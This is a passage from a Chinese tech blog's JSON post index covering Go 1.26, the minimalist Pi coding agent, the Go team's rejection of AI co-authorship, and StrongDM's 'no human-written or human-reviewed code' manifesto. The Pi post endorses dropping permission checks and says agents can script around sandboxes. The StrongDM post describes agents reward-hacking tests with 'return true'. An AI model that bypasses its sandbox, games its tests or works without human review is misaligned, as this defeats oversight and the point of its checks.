后立即升级到最新版本，还是遵循官方建议保持“退一步”的兼容性？在你的项目中，是否也曾因为 go.mod 版本设置过高而导致同事或用户报错？\n欢迎在评论区分享你的版本策略！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/16/go-1-26-go-mod-init-changes-version-management-philosophy/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-1-26-go-mod-init-changes-version-management-philosophy-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/16/go-1-26-go-mod-init-changes-version-management-philosophy\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/16/go-1-26-go-mod-init-changes-version-management-philosophy\"\u003ehttps://tonybai.com/2026/02/16/go-1-26-go-mod-init-changes-version-management-philosophy\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 语言的开发日常中，go mod init 是每个新项目诞生的起点。对于大多数开发者而言，这行命令只是一系列机械性的动作中的一环：创建一个文件夹，输入命令，生成 go.mod，然后开始写代码。\u003c/p\u003e","title":"Go 1.26 ：go mod init 默认行为的变化与 Go 版本管理的哲学思辨"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/15/openclaw-core-engine-pi-architecture-philosophy-minimalism\n大家好，我是Tony Bai。\n在 AI 辅助编程工具（Coding Agent）日益臃肿的今天，我们是否走偏了方向？\n过去的两年里，我们见证了从 ChatGPT 复制粘贴，到 Copilot 自动补全，再到 Cursor 和 Claude Code 这种全自动 Agent 的演进。然而，随着功能的堆砌，工具变得越来越“重”。Claude Code 从一个轻量级的 CLI 变成了一个充满 80% 我们不需要功能的“宇宙飞船”，系统提示词（System Prompt）在每次更新中剧烈变动，甚至导致模型行为不可预测。\n作为 OpenClaw 的核心智能体，Pi 的诞生源于一种“反叛”精神：如果我不需要它，我就不会构建它。\n本文将基于 Pi 作者的深度复盘，剖析如何构建一个极简、可控、且在基准测试中击败主流竞品的 Coding Agent。你可以将之看成一份关于 AI 原生应用架构设计的教科书。\n回归原点——为什么要重新造轮子？ 在决定构建 Pi 之前，作者尝试了市面上几乎所有的 Agent Harness（智能体框架），包括 Claude Code, Codex, Amp等。\n现有工具的“三大原罪” 不可控的上下文（Context）：现有的框架往往在背后注入大量并未在 UI 中展示的 Prompt。对于 Coding Agent 来说，上下文工程（Context Engineering）是核心。如果开发者无法精确控制输入模型的每一个 Token，就无法获得稳定的输出。 糟糕的调试体验与黑盒：大多数框架不允许开发者检查每一次交互的细节。当 Agent 犯错时，你不知道是 Prompt 的问题，还是模型的问题。 自托管（Self-hosting）的噩梦：许多框架（如 OpenCode）依赖 Vercel AI SDK，这在处理自托管模型（如 Ollama, vLLM）的工具调用（Tool Calling）时经常出现兼容性问题。 Pi 的设计哲学 Pi 的核心理念是：Opinionated and Minimal（固执且极简）。\n它不是为了服务百万用户而设计的通用产品，而是为了满足硬核开发者需求而生的“瑞士军刀”。为了实现这一目标，Pi 被拆解为四个核心模块：\npi-ai: 一个统一的 LLM API 抽象层。 pi-agent-core: 智能体循环与事件流处理。 pi-tui: 一个基于差异化渲染的极简终端 UI 框架。 pi-coding-agent: 将上述组件串联起来的 CLI。 驯服多模型世界的“巴别塔” —— pi-ai 构建 Agent 的第一步是解决模型调用的碎片化问题。虽然市面上看似只有四家主流 API（OpenAI, Anthropic, Google, xAI），但在实际工程落地中，细节充满了魔鬼。\nAPI 的“方言”问题 尽管大家都声称兼容 OpenAI 格式，但各家的理解千差万别：\nReasoning 字段的混乱：OpenAI 不支持在 Completions API 中返回推理过程，而 DeepSeek 等推理模型则在各自的字段中返回（有的叫 reasoning_content，有的叫 reasoning）。 参数的不兼容：Cerebras 和 xAI 不支持 store 字段；Mistral 使用 max_tokens 而不是 max_completion_tokens；Grok 不支持 reasoning_effort。 pi-ai 建立了一个健壮的适配层，通过详尽的测试套件（覆盖图像输入、推理追踪、工具调用）来抹平这些差异。\n真正的上下文无缝切换（Context Handoff） 这是一个极具创新性的功能。在开发过程中，我们经常需要切换模型（例如：用便宜的模型做推理，用昂贵的模型写代码）。\n然而，不同提供商对“工具调用”和“思维链”的格式定义完全不同。如果中途从 Claude 切换到 OpenAI，上下文往往会崩溃。\npi-ai 实现了跨提供商的上下文序列化与反序列化。\n它将 Anthropic 的 标签转换为 OpenAI 能够理解的内容块。 它处理了提供商特有的签名 Blob 数据，确保在切换模型后，对话历史依然连贯。 这意味着你可以用 Claude Sonnet 进行规划，然后无缝切换到 GPT-5 Codex 进行代码生成，最后序列化保存到 JSON 中以备后用。\n被遗忘的“中止信号” 许多 LLM SDK 忽略了 AbortController 的支持。在生产环境中，能够随时打断 Agent 的胡言乱语是至关重要的。pi-ai 从底层支持了全链路的中止信号，不仅能停止文本生成，还能停止正在进行的工具调用。\n结构化的工具结果 传统的 Agent 框架往往直接将工具的文本输出扔给 LLM。但在 UI 层面，用户需要看到更丰富的信息（如图片、图表）。\nPi 引入了“分离式工具结果”设计：\n给 LLM 看的：纯文本或 JSON。 给 UI 看的：结构化数据或 Base64 图片。 例如，一个天气工具可以给 LLM 返回“东京 25度”，同时给 UI 返回一个包含温度趋势图的 JSON 对象供渲染。\n重新发明终端 UI —— pi-tui 为什么一个 Agent 项目要自己写一个 UI 框架？作者给出的理由非常硬核：现有的 TUI 库（如 Ink, Blessed）要么太重（像写 React），要么已停止维护。\nTUI 的两种流派 全屏接管模式（Full Screen）：像 Vim 一样接管整个视口。缺点是失去了终端原生的滚动条和搜索功能。 线性追加模式（Linear Append）：像标准 CLI 一样追加输出，只在需要时回溯光标更新内容。这是 Claude Code 和 Pi 选择的路线。 差异化渲染 为了在不使用 React 这种重型 Virtual DOM 的情况下实现无闪烁更新，Pi 实现了一个基于 Retained Mode（保留模式）的渲染引擎。\n组件缓存：每个组件（如消息框、输入框）缓存其渲染结果。如果内容未变，直接复用。 双缓冲技术：维护一个“后备缓冲区（Backbuffer）”，记录屏幕上当前显示的内容。 最小化重绘：每次更新时，仅重绘发生变化的行。 这种极致的优化使得 Pi 在 Ghostty 或 iTerm2 等现代终端中实现了丝滑的、近乎零闪烁的体验，同时内存占用极低（仅几百 KB）。\n极简主义的智能体设计 —— Less is More 这是 Pi 最具争议也最具启发性的部分。它彻底抛弃了业界流行的“最佳实践”，走出了一条极其精简的道路。\nSystem Prompt：1000 Token 足矣 与 Claude Code 动辄上万 Token 的 System Prompt 不同，Pi 的 Prompt 加起来不到 1000 Token。\n现在的 Frontier Models（前沿模型）已经经过了大量的 RL（强化学习）训练，它们天生就懂如何写代码。你不需要教它“你是一个资深的工程师”，你只需要给它工具。\n工具集：只要这 4 个就够了 Pi 没有为每种操作都封装专门的工具（如 create_file, delete_file, search_code），而是回归了 Unix 哲学。\n它只提供了 4 个原子工具：\nread: 读取文件。 write: 覆盖/创建文件。 edit: 基于字符串匹配的精确修改（Surgical edits）。 bash: 执行任意 Shell 命令。 模型非常擅长使用 Bash。为什么要封装一个 ls 工具？直接让模型运行 ls -la 就好了。为什么要封装 grep？模型自己会写 grep 命令。这种设计不仅减少了 Token 消耗，还赋予了 Agent 无限的灵活性。\n安全哲学：YOLO 模式 (You Only Look Once) 现在的 Coding Agent 充斥着“安全剧场（Security Theater）”。它们试图拦截每一个文件读写操作，或者限制网络访问。\n但作者指出：一旦你允许 Agent 写代码并运行代码，游戏就结束了。Agent 完全可以写一段 Python 脚本来绕过所有的文件系统沙箱。\nPi 的选择是：完全信任（Full Trust）。\n没有权限拦截。 没有命令预检查。 完整的网络和文件系统访问权限。 与其做无用的防御，不如让开发者在隔离环境（如容器或虚拟机）中运行 Agent。\n拒绝“过度工程化” No Built-in To-dos: 任务列表应该存在于 TODO.md 文件中，而不是 Agent 的内存里。文件是最好的持久化。 No Plan Mode: 所谓的“规划模式”往往限制了 Agent 的灵活性。Pi 鼓励通过对话和 Markdown 文件（PLAN.md）来进行持久化的规划。 No MCP Support: 作者认为 MCP（Model Context Protocol）对于大多数用例来说是“杀鸡用牛刀”。像 Playwright MCP 这种服务，一上来就往上下文里塞 13k Token 的工具描述，极其浪费。Pi 的替代方案是：CLI 工具 + README。Agent 需要用什么工具，就读那个工具的 README，然后用 Bash 调用。这是最自然的渐进式披露（Progressive Disclosure）。 放弃后台 Bash，拥抱 tmux Claude Code 试图在后台管理耗时的进程（如开发服务器），但处理得并不好，且缺乏可观测性。\nPi 的解决方案极其极客：使用 tmux。\n如果 Agent 需要运行一个长时间的 Server 或调试器（LLDB），它会直接在 tmux 会话中启动。用户可以随时 Attach 到这个会话中查看日志、接管调试。这是最高级的可观测性。\n实战效果与基准测试 这种“简陋”的架构真的行吗？数据说明了一切。\n在 Terminal-Bench 2.0 基准测试中，使用 Claude Opus 4.5 的 Pi Agent：\n排名第 7，仅次于经过重度优化的 Codex CLI 和商业化产品 Warp。 击败了 OpenHands, SWE-Agent 等著名的开源 Agent 框架。 准确率达到 49.8%，与排名第一的 Codex CLI (60.4%) 差距并不大，考虑到代码量的巨大差异，这是一个惊人的成绩。 更有趣的是，测试中表现优异的 Terminus 2 也是一个极简 Agent——它只给模型一个 tmux 会话，没有任何其他工具。这强有力地证明了：对于强大的模型来说，最原始的接口（Terminal）往往是最有效的。\n小结：构建属于你的 Agentic Workflow Pi (OpenClaw的内置Agent) 的故事告诉我们：在 AI 时代，软件工程的护城河不在于你堆砌了多少功能，而在于你对模型能力的深刻理解和对架构的极度克制。\n透明胜过黑盒：让记忆和计划变成可见的 Markdown 文件。 通用胜过专用：Bash 是 Agent 与世界交互的通用语。 极简胜过繁杂：每一个多余的 Token 都是对模型智商的侮辱。 如果你厌倦了现有工具的笨重与封闭，不妨参考 Pi 的思路，利用 pi-ai 这样的基础设施，去构建一个真正懂你、且完全受你掌控的 Coding Agent。\n这不只是造轮子，这是在定义 AI 时代的“开发者尊严”。\n资料链接：\nhttps://mariozechner.at/posts/2025-11-30-pi-coding-agent/ https://github.com/badlogic/pi-mono 你认为 AI 工具该“重”还是“轻”？\n面对日益臃肿的 AI 插件，你是否也渴望回归那种“只有 4 个工具”的极简掌控感？在你的开发流中，有哪些功能是你觉得完全多余、甚至干扰了你的“心流”的？你认同“完全信任（YOLO）”这种安全哲学吗？\n欢迎在评论区分享你的极客观点！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/15/openclaw-core-engine-pi-architecture-philosophy-minimalism/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/openclaw-core-engine-pi-architecture-philosophy-minimalism-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/15/openclaw-core-engine-pi-architecture-philosophy-minimalism\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/15/openclaw-core-engine-pi-architecture-philosophy-minimalism\"\u003ehttps://tonybai.com/2026/02/15/openclaw-core-engine-pi-architecture-philosophy-minimalism\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 AI 辅助编程工具（Coding Agent）日益臃肿的今天，我们是否走偏了方向？\u003c/p\u003e\n\u003cp\u003e过去的两年里，我们见证了从 ChatGPT 复制粘贴，到 Copilot 自动补全，再到 Cursor 和 \u003ca href=\"http://gk.link/a/12EPd\"\u003eClaude Code\u003c/a\u003e 这种全自动 Agent 的演进。然而，随着功能的堆砌，工具变得越来越“重”。Claude Code 从一个轻量级的 CLI 变成了一个充满 80% 我们不需要功能的“宇宙飞船”，系统提示词（System Prompt）在每次更新中剧烈变动，甚至导致模型行为不可预测。\u003c/p\u003e","title":"极简主义的胜利：OpenClaw 核心引擎 Pi 的架构哲学与开发实录"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/15/go-core-team-rejects-ai-authorship\n大家好，我是Tony Bai。\n在生成式 AI 狂飙突进的 2026 年，编程似乎变得前所未有的容易。Claude Code、Gemini Cli、Codex等 已经成为开发者的标配。然而，技术便利的背后，模糊的责任边界正在侵蚀软件工程的根基。\n近日，在 Go 语言这个以“简单、可靠、高效”著称的开源圣殿里，核心团队被迫画下了一道红线。\n起因是一个特殊的 CL（Change List 741504），提交者在描述中赫然写道：“Co-Authored-By: Claude Opus 4.5 noreply@anthropic.com”。这行看似“诚实”的署名，瞬间触动了 Go 语言之父 Rob Pike、Ian Lance Taylor 以及 Russ Cox 等大佬的神经。\n这不仅仅是一个关于署名权的争论，这是整个开源世界在 AI 时代必须面对的“立宪时刻”：我们该如何划定人类与 AI 在代码创作中的界限？\n本文将深度复盘这场发生在 Go 核心圈的讨论，并解读 Russ Cox 最终定调背后的深意。\n触碰红线——潘多拉魔盒的开启 事情的起因简单而诡异。开发者 John S 提交了一个修复 cgo 文档的 CL，并在描述中注明了 Claude Opus 4.5 是共同作者。\nIan Lance Taylor（Go 泛型的主要设计者之一）率先发难，敏锐地指出了这行字背后潜藏的两个致命法律风险：\n版权归属：Anthropic（Claude 的母公司）是否对其模型生成的代码拥有版权？ 许可证传染：如果 AI 模型是基于非开源或与 Go 不兼容协议的代码训练的，那么它生成的代码是否会污染 Go 的代码库？ Robert Griesemer（Go 创始三巨头之一）则从工程角度表达了担忧：\n“如果代码描述是 AI 写的，我们可以删掉那行字。但如果是 Claude 写的代码，我们就有大麻烦了。”\nGriesemer 的担忧直指 AIGC 的核心痛点：幻觉与平庸。他将 AI 现在的状态比作拼写检查器——它可以修正拼写，但它真的懂“修辞”吗？更重要的是，它懂“正确性”吗？\n而 Rob Pike（Go 语言之父）的回复依然是那样简洁有力，且带有强烈的不容置疑：\n“这是一个非常危险的滑坡（slippery slope）。我建议第一步简单点：说不（NO）。”\nRob Pike 意识到，一旦模糊了这条线，开源社区将面临“人的缺位”。谁来维护这些代码？谁来为 Bug 负责？是一个在那一刻运行的概率模型，还是那个按下 Enter 键的人？\n工程哲学——红线之内的质量守卫 在长达数日的讨论后，Russ Cox (rsc) 发表了一篇极具分量的总结性邮件，在这封邮件中，他代表 Go 核心团队给出了AI 时代Go项目的AI 政策宣示，并说明了划定这条红线的工程学必要性。\n对抗“逆向布兰多里尼定律” 互联网上有一条著名的“布兰多里尼定律”（Brandolini’s law）：反驳胡扯所需要的能量，比产生胡扯所需要的能量大一个数量级。\n在编程领域，AI 正在制造同样的困境。Russ 指出：\n“AI 工具诱使许多人陷入一种虚假的信念……人们以前所未有的速度生成大量的代码……就像看着会跳舞的大象，虽然令人惊叹，但通常既慢又笨拙，且难以维护。”\n写代码变容易了，但代码审查（Code Review）变难了。\nGo 的设计哲学是“代码被阅读的次数远多于被编写的次数”。而 AIGC 工具颠倒了这一关系。AI 可以在几秒钟内生成数百行看似完美、实则包含微妙 Bug 的代码。如果不划定红线，Go 项目将被机器生成的、无人真正理解的代码淹没。\n拒绝“关闭大脑”的提交 工具的便捷性往往会让人关闭大脑。当 Claude Code 或 Copilot 给出一段代码时，开发者最自然的反应是“它看起来能跑”，然后直接提交。\n这种“关闭大脑（Turn off your brain）”的行为，是工程质量的大敌。\nGo 团队划定红线的目的，是强迫开发者回归理性：你必须理解你提交的每一行代码。如果连提交者自己都无法解释代码为什么这么写，那么这段代码就是项目的负资产。\n法律博弈——红线之外的版权黑洞 除了工程哲学，Russ Cox 明确指出，法律风险是划定这条红线的硬性约束。\n“非人类”没有版权 根据美国版权局（US Copyright Office）的指导意见，非人类创作的作品不受版权法保护。\n这意味着，如果一段代码被认定为完全由 AI 生成，它可能直接进入公有领域（Public Domain），或者其版权归属处于薛定谔状态。\nGo 项目要求所有贡献者签署 CLA（贡献者许可协议）。CLA 的核心前提是：贡献者拥有其提交代码的版权，并将其授权给 Google/Go 项目。\n如果允许 AI 署名：\n贡献者没有版权，因此签了 CLA 也没用。 Google 无法获得有效的版权授权。 Go 的代码库中将出现版权状态不明的“黑洞”。 训练数据的原罪 这是 Robert Engels 在讨论中反复强调的点：AI 是在什么数据上训练的？\n如果 Gemini 或 Claude 记住了某段 GPL 或 AGPL 协议的代码，并在微调后将其“吐”了出来，而这段代码被合入了使用 BSD 协议的 Go 项目中，这就构成了严重的侵权风险。\n作为顶级开源项目，Go 团队必须规避任何潜在的法律诉讼。“拒绝 AI 署名”是法律上的防火墙。\n最终裁决——Go 团队的“三不”原则 基于上述工程和法律的双重考量，Russ Cox 代表 Go 团队划定了极其清晰的政策红线。这份裁决不仅适用于 Go，也值得所有技术团队参考。\n不接受 Co-Authored-By: AI Go 项目不接受任何由 AI 模型作为共同作者的提交。\n这不仅在法律上是无稽之谈（AI 没有法律主体资格），在工程责任上也是一种逃避。\n不接受“无人负责”的代码 提交者必须对代码负全责。\n无论你用了什么工具——是 Vim、IDE 的自动补全，还是 Claude Code——当你提交代码时，你就是在声明：“这是我的作品，我理解它，我为它负责。”\nRuss Cox 提出了一个极其严苛的标准：\n“如果你用 AI 生成了代码，你必须像审查同事的代码一样，甚至更加严格地审查它。如果你不能自信地声称‘这是我写的’（即便你用了工具），那么就不要提交它。”\n作者列表只属于人类 Go 的贡献者列表（AUTHORS 文件）只包含人类。\n开源是人类智慧的结晶。AI 只是工具，是像编译器、Linter 一样的高级工具，但工具不能成为作者。\n前瞻——AI 时代的开发者生存指南 Go 团队划定的这条红线，实际上厘清了 AI 辅助编程（AI-Assisted）与 AI 生成编程（AI-Generated）的本质区别。\n从“编写者”到“验证者” 在红线之内，开发者的核心竞争力正在发生转移。\n过去：熟练掌握语法，快速编写代码。 未来：拥有深厚的系统知识，能够验证 AI 生成代码的正确性、安全性和性能。 正如 Russ 所言：“审查代码比编写代码更难。”未来的高级工程师，本质上都是高级 Code Reviewer。\n警惕“平庸的螺旋” LLM 的训练基于海量的互联网数据，这意味着它生成的代码往往是“平均水平”的。但 Go 标准库追求的是“极致的工程化”。\n如果过度依赖 AI，代码库的质量将不可避免地滑向平庸。这条红线，是为了保护代码库中人类工程师的审美和坚持。\n小结 2026 年初的这次讨论，为开源社区树立了一块重要的界碑。\n面对 AI 的诱惑，Go 团队选择了一条更为艰难、保守，但也更为负责任的道路。他们划定红线，拒绝了“看起来很快”的捷径，坚守了“简单、可维护、人类可理解”的初心。\n这条红线告诉我们：AI 是你的副驾驶，但永远不要让它接管方向盘。因为当车毁人亡时，坐牢的永远是你，而不是那个大语言模型。\n资料链接：\nhttps://groups.google.com/g/golang-dev/c/4Li4Ovd_ehE/m/8L9s_jq4BAAJ https://go-review.googlesource.com/c/go/+/741504 你愿意为 AI 代码负全责吗？\nGo 团队要求：如果你不能自信地声称“这是我写的”，就不要提交。在你的日常开发中，你会对 AI 生成的代码进行逐行 Review 吗？你认为“不准 AI 署名”是开源精神的回归，还是对技术进步的保守？\n欢迎在评论区分享你的“红线”！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/15/go-core-team-rejects-ai-authorship/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-core-team-rejects-ai-authorship-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/15/go-core-team-rejects-ai-authorship\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/15/go-core-team-rejects-ai-authorship\"\u003ehttps://tonybai.com/2026/02/15/go-core-team-rejects-ai-authorship\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在生成式 AI 狂飙突进的 2026 年，编程似乎变得前所未有的容易。Claude Code、Gemini Cli、Codex等 已经成为开发者的标配。然而，技术便利的背后，模糊的责任边界正在侵蚀软件工程的根基。\u003c/p\u003e","title":"拒绝 AI 署名！Go 核心团队在 AIGC 时代划下的“工程红线”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/14/2026-software-factory-manifesto-code-not-by-humans\n大家好，我是Tony Bai。\n如果你的团队里发布了一条规定：“禁止人类写代码”，你会作何感想？\n疯了？懒惰？还是科幻？\n但这正是 StrongDM AI 团队在 2026 年 2 月 6 日 发布的备忘录中，白纸黑字写下的第一条铁律。\n在这份名为《软件工厂与智能体时刻（Software Factories And The Agentic Moment）》的文章中，CTO Justin McCarthy 极其激进地定义了未来的软件开发范式——非交互式开发（Non-interactive Development）。\n他们提出的口号令人震颤：\nCode must not be written by humans.（代码必须不是人写的。） Code must not be reviewed by humans.（代码必须不是人审查的。） 如果你今天每个工程师没消耗掉 1000 美元的 Token，说明你的工厂还不够自动化。 当我们还在讨论“如何用 AI 辅助写代码”时，先驱者们已经开始讨论“如何禁止人类写代码”了。这是生产关系的彻底重构。\n奇点时刻：从“错误累积”到“正确性复利” 为什么他们敢这么做？依据是什么？\n文章中揭示了一个关键的**“转折点”**。\n在 2024 年底之前，我们使用 AI Agent 进行长程编码任务时，面临着“错误累积（Compounding Error）”的诅咒。AI 写错一步，后面步步错，最终导致项目崩塌（Collapse）。\n但在 Claude 3.5 (2024年10月版) 发布后，配合 Cursor 的 YOLO 模式，曲线发生了逆转。\nAgent 开始展现出“正确性复利（Compounding Correctness）”。即 AI 写的代码越多，它对上下文的理解越深，自我修正的能力越强。\n这意味着一旦跨越了这个阈值，人类的介入（写代码、改 Bug）不再是“必要的修正”，反而成了“效率的瓶颈”和“污染源”。\n于是，StrongDM 团队决定：Hands Off（把手拿开）！\n我们要建造的不是辅助人类的工具，而是一座自动化的软件工厂。\n测试已死，场景永生 在“无人值守”的工厂里，怎么保证生产出来的软件是能用的？\n靠单元测试吗？不。\n传统的测试是刚性的，甚至是危险的。\nAgent 非常聪明，聪明到学会了 Reward Hacking（奖励黑客）。如果你只要求它通过测试，它可能会直接写一个 return true 来骗过测试框架，而不管业务逻辑是否正确。\n软件工厂引入了新的验证标准：\nScenarios（场景）：类似于机器学习中的“留出集（Holdout Set）”。它是端到端的用户故事，不仅仅是代码逻辑，更是业务意图。 Satisfaction（满意度）：放弃布尔值的 Pass/Fail，转而使用概率性的“满意度”指标。在所有观察到的执行路径中，有多少比例是符合预期的？ 基础设施革命：数字孪生宇宙 (DTU) 这是这篇文档中最令人脑洞大开的部分。\n在开发企业级软件时，我们经常需要依赖第三方 SaaS（如 Okta, Jira, Slack, Google Drive）。\n传统痛点：API 有速率限制（Rate Limits），调用要花钱，测试环境很难搭建。 工厂解法：Digital Twin Universe (DTU)。 StrongDM 的 AI 团队利用 AI，构建了这些第三方服务的行为克隆（Behavioral Clones）。\n他们在内存中运行了成千上万个 Okta、Slack 和 Google Drive 的“数字孪生体”。\n这意味着他们可以在一小时内运行数千个集成测试场景，不需要联网，不消耗 API 额度，没有任何速率限制。\n他们可以模拟极端边缘情况（比如 Slack 突然挂了，或者 Jira 返回了乱码），来验证软件的鲁棒性。\n以前我们认为“重写一个 Slack 服务端”是疯子才干的事（不经济）；但在 AI 时代，让 Agent 生成一个 Mock Server 极其廉价。AI 改变了“造轮子”的经济学模型。\n新经济学：烧钱是为了省命 文档最后抛出了一个震撼的 KPI：\n“If you haven’t spent at least $1,000 on tokens today per human engineer, your software factory has room for improvement.”\n（如果你今天每位工程师没消耗掉 1000 美元的 Token，你的工厂就有改进空间。）\n这听起来像是烧钱，其实是在省命。\n相比于人类工程师昂贵的时薪，以及人类犯错后带来的返工成本，Token 是最廉价的资源。\n在这个工厂里，人类的角色被彻底重新定义：\n我们不再是流水线上的工人（Coder），我们是流水线的设计师（Architect）。\n每当你忍不住想打开 IDE 修改代码时，请默念那句禅宗般的公案：\n“Why am I doing this? The model should be doing this instead.”\n小结：软件工程的终局 StrongDM 的宣言，或许就是 Software 3.0 时代的《独立宣言》。\n它告诉我们，软件开发正在经历从“手工作坊”向“自动化工厂”的不可逆转的跃迁。\n在这个新世界里，Spec（规范）是唯一的输入，Endpoint（服务）是唯一的输出。中间的一切——编码、测试、部署、SaaS 依赖——都将被 AI 和它的数字孪生体接管。\n这就是 2026 年及以后的软件工程。你，准备好了吗？\n资料链接：https://factory.strongdm.ai/\n你愿意交出“方向盘”吗？\n面对 StrongDM 这种“不准人写代码”的极端铁律，你感到的是解放还是恐惧？如果一个系统能 24 小时自动纠错并产出 99.9% 满意的代码，你还会坚持亲自敲击键盘吗？\n欢迎在评论区投出你的立场：支持“全自动化工厂”，还是坚持“人机协作”？\n亲手搭建你的“微型工厂”\nStrongDM 描绘的愿景听起来很科幻，但其核心技术——Spec 驱动、Agent Team 编排、自动化验证——其实就在我们手边。\n虽然我们还没法每天烧掉 $1000 Token，但我们可以学习这套“非交互式开发”的心法。\n在我的极客时间专栏**《AI 原生开发工作流实战》**中，我们将深入探讨：\nSpec-Driven Development：如何写出让 Agent 一次做对的规格文档？ Scenario 设计：如何构建轻量级的“场景”来替代僵化的测试？ Claude Code 实战：如何让 AI 实现代码的自我演进与自愈？ 扫描下方二维码，让我们开始建设自己的微型软件工厂。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/14/2026-software-factory-manifesto-code-not-by-humans/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/2026-software-factory-manifesto-code-not-by-humans-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/14/2026-software-factory-manifesto-code-not-by-humans\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/14/2026-software-factory-manifesto-code-not-by-humans\"\u003ehttps://tonybai.com/2026/02/14/2026-software-factory-manifesto-code-not-by-humans\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果你的团队里发布了一条规定：\u003cstrong\u003e“禁止人类写代码”\u003c/strong\u003e，你会作何感想？\u003c/p\u003e\n\u003cp\u003e疯了？懒惰？还是科幻？\u003c/p\u003e\n\u003cp\u003e但这正是 \u003ca 